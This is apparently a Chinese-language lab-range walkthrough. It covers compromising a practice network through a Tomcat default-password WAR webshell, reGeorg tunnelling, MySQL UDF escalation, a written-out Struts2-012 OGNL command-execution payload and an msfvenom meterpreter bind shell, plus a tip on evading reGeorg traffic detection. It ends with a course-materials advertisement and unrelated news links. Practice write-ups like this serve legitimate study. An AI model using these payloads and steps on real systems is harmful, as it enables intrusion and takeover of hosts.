靶场攻略 | 记一次实验靶场练习笔记
靶场攻略 | 记一次实验靶场练习笔记前两天朋友分享了一个实验靶场感觉环境还不错于是对测试过程进行了详细记录靶场中涉及知识点总结如下War包制作regeorg内网代理工具的使用UDF漏洞利用Struts2-012漏洞利用Msfvenom模块的使用本次实验靶场的网络拓扑结构如下图所示01获取web据点首先访问朋友给定的web服务器端口为tomcat应用的默认页面如下图所示如果刚开始没有思路的话可以百度搜索一下Tomcat示例页面相关漏洞情况。访问目标manager后台目录尝试tomcat默认口令tomcat/tomcat进行登录登录成功之后tomcat管理后台有个部署war包的功能可以通过上传war包getshell获取服务器权限。在攻击机kali中生成war包后门可以用自己的木马也可使用kali自带webshell默认路径/usr/share/laudanum/jar cvf shell.war xx.jsp在WAR file to deploy 功能处上传并部署后门war包单击选择文件选择生成的war文件并确定点击击deploy按钮就完成了上传。验证是否上传成功浏览器访问注意事项根目录war包文件名jsp webshell文件名比如我上传了的war包名为cmd.war木马名为cmd.jsp在浏览器地址栏中hxxp://x.x.x.x/cmd/cmd.jsp接下是连接上传的jsp一句话使用C刀连接目标服务器的jsp木马下载地址https://github.com/Chora10/Cknife 可自行编译或者下载网上的程序虚拟机里执行。菜刀成功连接后会以树状形式显示webshell文件所处位置如下图所示02添加代理拿下web边界机以后一般情况下分两种情况有内网以此为跳板攻击内网其他机器摸清目标内网拓扑环境拿下靶标系统无内网如果是项目就可以收工了不是的话就可以作为代理池的一部分下面的情况属于有内网的环境查看本机IP地址发现两个网卡都有内网地址。目标web服务器并无探测主机存活的工具两种方式自己上传端口扫描工具||脚本使用隧道代理工具代理自己的工具进入目标内网中做初步的信息搜集。此处选择第二种方式上传regeorg程序的tunnel.jsp脚本到目标服务器的shell目录下web访问返回连接成功的信息(Georg says,’All seems fine’) 如下图所示此为该工具流量硬特征建议在下载后修改该字符串或者使用升级版的neo-regeorghttps://github.com/L-codes/Neo-reGeorg 去特征且传输加密使用regeorg工具建立隧道命令如下Python regeorgsocksproxy.py -u hxxp://x.x.x.x/tunnel.jsp -p xxxx-u 代理木马链接-p指定传输端口在proxychains工具配置文件下添加regeorg打通的代理端口vim /etc/proxychains.conf 在最后一行添加regeorg的配置好的传输端口即可代理nmap到内网扫描172网段敏感端口使用TCP全连接扫描一些Nmap使用语法http://mang0.me/archis/40a439a4/03UDF漏洞利用通过扫描得到的MySQL应用信息尝试弱口令连接一样的思路哪个应用不会搜索哪里查看security_file_priv是否配置命令:show variables like ‘%secure%’;显示结果对应解释Secure_file_privnull //不允许导入导出文件Secure_file_privD:/ //允许导入到指定目录Secure_file_priv‘’ //允许到任意目录Secure_file_priv”/” //允许到根目录发现为空可以写任意目录使用proxychains将msf代理到目标内网中利用MySQL的UDF漏洞进行命令执行。如果忘记模块可以先search 需要的模块内容关键字Use exploit/multi/mysql/mysql_udf_payload查看未设置的参数 show optionsPassword和rhost参数可以设置Set rhost 172.16.15.16Set password 123456 run虽然显示没有会话但是so文件已经传上去了使用默认的MySQL命令连接执行自定义函数成功执行说明udf提权成功。04S2-012漏洞利用代理nmap到内网扫描10网段机器敏感端口发现10.10.60.250:8080存在struts2-012漏洞Struts2-012 payload 测试%{ #a(new java.lang.ProcessBuilder(new java.lang.String[]{ls,-al})).redirectErrorStream(true).start(), #b#a.getInputStream(), #cnew java.io.InputStreamReader(#b), #dnew java.io.BufferedReader(#c), #enew char[50000], #d.read(#e), #f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }成功读取/etc/passwd文件10.10.60.66和172.16.15.16一样的思路。弱口令admin/password上传菜刀的jsp木马使用蚁剑服务器管理工具连接成功Msf生成Linux木马msfvenom -p linux/x86/meterpreter/bind_tcp rhost10.10.60.66 lport1234 -f elf shell.elf生成完成后将该木马程序上传到目标服务器的web目录下赋予权限在msf中开启监听模块执行程序即可拿到会话设置msf下handler模块必要的参数set payload linux/x86/meterpreter/bing_tcpSet rhost 10.10.60.66Set lport 1234exploit -j 后台获取会话Sessions 可查看会话 -i 进入该会话本次实验到此结束通过弱口令并结合应用特性拿到主机权限使用内网代理工具建立隧道探测内网段端口及对应漏洞拿下对应主机权限。如何系统学习网络安全网络安全作为数字时代的核心技术基石已成为保障各行业安全稳定运行的坚实屏障。筑牢网络安全的防线掌握先进的防护策略和技能正上升为国家与企业发展的战略优先级。构建稳固的网络安全能力是一个体系的工程需要从夯实基础理论出发持续深化到攻防对抗与应急响应的实战层面。如果你是准备学习网络安全黑客或者正在学习我可以把我自用的360独家内部资料分享给你包含以下内容你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

相关新闻

基于深度学习的人脸情绪识别系统:从数据到部署的完整指南

基于深度学习的人脸情绪识别系统:从数据到部署的完整指南

简介:这份资源是面向人工智能、深度学习方向的毕业设计与课程设计参考项目,聚焦人脸情绪识别这一细分课题,适合具备Python基础、希望理解CNN图像分类与实时人脸检测如何协同工作的学习者。压缩包共11个文件,约11.89MB,…

2026/9/23 9:08:26 阅读更多 →
书霸AI期刊论文写作:返工后的6个启示

书霸AI期刊论文写作:返工后的6个启示

www.shubaai.com写期刊论文最消耗时间的,往往不是打字,而是反复推倒重来:题目看似明确,写到中途却发现研究问题不集中;章节已经齐全,论证之间却接不上;语言修改了很多遍,仍然不像规范…

2026/9/23 9:08:26 阅读更多 →
Python量化组合优化:市值加权/等权重/均值方差/最小方差四模型实战

Python量化组合优化:市值加权/等权重/均值方差/最小方差四模型实战

简介:本资源是一套面向量化投资初学者与Python金融实践者的多策略组合优化实战代码包,聚焦股票投资组合构建中的四种主流权重分配方法:市值加权、等权重、均值方差及最小方差模型,帮助用户理解风险收益权衡与实证建模逻辑。压缩包…

2026/9/23 9:08:26 阅读更多 →

最新新闻

UVC摄像头开发实战:C++与C#双语言采集方案与避坑指南

UVC摄像头开发实战:C++与C#双语言采集方案与避坑指南

简介:这份资源面向从事USB摄像头开发的C与C#程序员,聚焦UVC(USB Video Class)设备驱动与应用开发这一细分领域。UVC标准让摄像头无需专用驱动即可在Windows、Linux、macOS上完成视频传输,而包内代码正是围绕该协议展开…

2026/9/23 9:47:24 阅读更多 →
3步搞定注册msn账号,附性能优化避坑指南

3步搞定注册msn账号,附性能优化避坑指南

3步搞定注册msn账号,附性能优化避坑指南 配置环境就卡半天?注册个账号还要配SSL证书、改DNS、调防火墙,搞不好还撞了IP限流,性能优化直接拉胯。别急,今天不聊虚的,直接上实操。很多开发者把精力全耗在账号注册的“前置配置”上,结果核心业…

2026/9/23 9:47:24 阅读更多 →
有域名怎么建网站2026最新:3套架构避坑指南,告别StackTrace崩溃

有域名怎么建网站2026最新:3套架构避坑指南,告别StackTrace崩溃

有域名怎么建网站2026最新:3套架构避坑指南,告别StackTrace崩溃 凌晨两点,你盯着屏幕上那串红色的 java.lang.NullPointerException 和长达百行的…

2026/9/23 9:47:24 阅读更多 →
文件流文本模式与二进制模式:从乱码事故到MultipartFile与Base64互转实战

文件流文本模式与二进制模式:从乱码事故到MultipartFile与Base64互转实战

1. 从一个让我加班到凌晨的乱码事故说起几年前我接手过一个数据导出模块,需求很简单:把数据库里的用户信息导成 CSV 文件,再提供一个上传入口让运营同学把处理好的文件传回来。本地开发环境跑得顺风顺水,测试同学也没报问题&#…

2026/9/23 9:47:24 阅读更多 →
Win10兼容性如何排查 速查手册源码级拆解

Win10兼容性如何排查 速查手册源码级拆解

Win10兼容性如何排查 速查手册源码级拆解 盯着屏幕上一长串红色的 System.InvalidCastException ,鼠标滚轮滑到底部还是没看到根因,这种 StackTrace…

2026/9/23 9:47:24 阅读更多 →
看似普通的内存芯片,为何极难量产?解析DRAM的底层技术壁垒

看似普通的内存芯片,为何极难量产?解析DRAM的底层技术壁垒

作为电子设备核心的内存芯片,DRAM动态随机存取存储器凭借超高读写速度和存储密度,成为手机、电脑、服务器等各类终端不可或缺的核心元器件。不同于结构稳定的SRAM和主打大容量存储的NAND闪存,DRAM的技术架构存在天然的物理短板,同…

2026/9/23 9:46:23 阅读更多 →

日新闻

3招搞定手机怎么下载微信面试难题实战项目解析

3招搞定手机怎么下载微信面试难题实战项目解析

3招搞定手机怎么下载微信面试难题实战项目解析 面试被问“手机怎么下载微信”背后的原理,90%的人答不上来。别笑,这看似弱智的问题,实则是考察你对移动应用分发机制、安全校验及网络协议理解的试金石。我带过不少校招新人,他们背了八股文,却连一个A…

2026/9/23 0:00:23 阅读更多 →
2k显示屏性能优化踩坑:版本升级后API全变了,这份源码解析救了我

2k显示屏性能优化踩坑:版本升级后API全变了,这份源码解析救了我

2k显示屏性能优化踩坑:版本升级后API全变了,这份源码解析救了我 刚把开发环境的显示器从1080P换到2K,跑老项目直接报错,版本升级后 API…

2026/9/23 0:01:25 阅读更多 →
3步搞定美眉图实战项目,告别官方文档抓不住重点

3步搞定美眉图实战项目,告别官方文档抓不住重点

3步搞定美眉图实战项目,告别官方文档抓不住重点 官方文档翻了三遍还是云里雾里?别急,美眉图在实战项目中常被用来做数据可视化,但它的原理比你想的简单。今天咱们直接上手,用一个完整的小项目把美眉图跑通,不再死磕那些冗长的理论说明。…

2026/9/23 0:01:25 阅读更多 →

周新闻

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

Flutter for OpenHarmony游戏卡片渐变背景实战:从原理到性能优化

直接铺开项目本身吧。这几个月我一直在折腾一件事:用Flutter给OpenHarmony做一款游戏集合类的App,说白了就是把若干小游戏塞进一个壳里,用统一入口分发。这个方向本身不算新鲜,真正让我花了不少心思的,是首页那堆游戏卡…

2026/9/23 4:55:02 阅读更多 →
Word表格编号全攻略:从列表编号到题注交叉引用

Word表格编号全攻略:从列表编号到题注交叉引用

写Word文档,最让人头疼的往往是那些“看起来不起眼”的小问题。比如表格编号这事:今天在表后面多加了两个空白行,明天给客户交稿前发现整个章节的编号全部错位,光是挨个改序号就能耗掉大半个下午。我前阵子帮人整理一份上百页的技…

2026/9/23 4:49:06 阅读更多 →
从第一个站到第二个站:独立开发者的静态网站选型与落地实践

从第一个站到第二个站:独立开发者的静态网站选型与落地实践

1. 项目概述1.1 核心需求解析做独立开发者这几年,说实话,第一个网站上线的那天晚上我兴奋得没睡着。但等它跑了半年,流量惨淡、功能臃肿、代码自己都懒得看第二遍之后,我才慢慢琢磨明白一个道理:第一个网站是练手&…

2026/9/22 8:51:04 阅读更多 →

月新闻

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

2026/9/21 15:36:51 阅读更多 →
容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…

2026/9/21 15:36:51 阅读更多 →
容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步

容器 容器化技术与镜像安全管理:核心链路应该先拆哪一步分类:[工程技术]细分主题:Docker 容器化技术与镜像安全管理:核心链路的逐步实现与关键代码取舍面对一个积累了五六年历史包袱的单体架构应用(包含 Web 接口、后台…

2026/9/22 2:43:42 阅读更多 →